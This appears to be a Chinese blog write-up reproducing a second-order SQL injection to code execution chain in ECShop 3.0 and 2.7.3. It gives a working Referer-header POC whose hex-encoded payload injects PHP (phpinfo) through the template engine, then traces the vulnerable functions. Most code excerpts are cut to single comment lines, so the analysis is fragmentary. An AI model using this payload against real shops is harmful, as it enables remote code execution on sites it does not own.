之前渗透时遇到了这样一个站,当时看到这个二次注入引发的命令执行的过程有点意思,于是抽了个时间简单的复现分析了一下
前言
之前渗透时遇到了这样一个站,当时看到这个命令执行的过程有点东西,于是抽了个时间复现一下
环境搭建
IDE: PHPstorm
代码:
ECshop3.0
ECShop 2.7.3
POC
ECshop3.0
php 5.6
1 | Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}}45ea207d7a2b68c49582d2d22adf953a |
漏洞分析
user.php 305行渲染的代码
1 | //310行 |
跟进display
函数,includes/cls_template.php
1 | // 106行 |
跟进insert_mod
函数,includes/cls_template.php 1168行
1 | function insert_mod($name) // 处理动态内容 |
可以通过控制referer,执行insert_
开头的任意函数,来看includes/lib_insert.php:
1 | // 141行 |
接着,includes/patch/includes_cls_template_fetch_str.php
1 | <?php |
调select函数,includes/cls_template.php
1 | //375行 |
includes/cls_template.php get_val
593行
1 | // 处理掉变量标签 |
跟进make_var
, includes/cls_template.php
1 | function make_var($val) |
代码执行,includes/cls_template.php
1 | //1193行 |
v1.5.2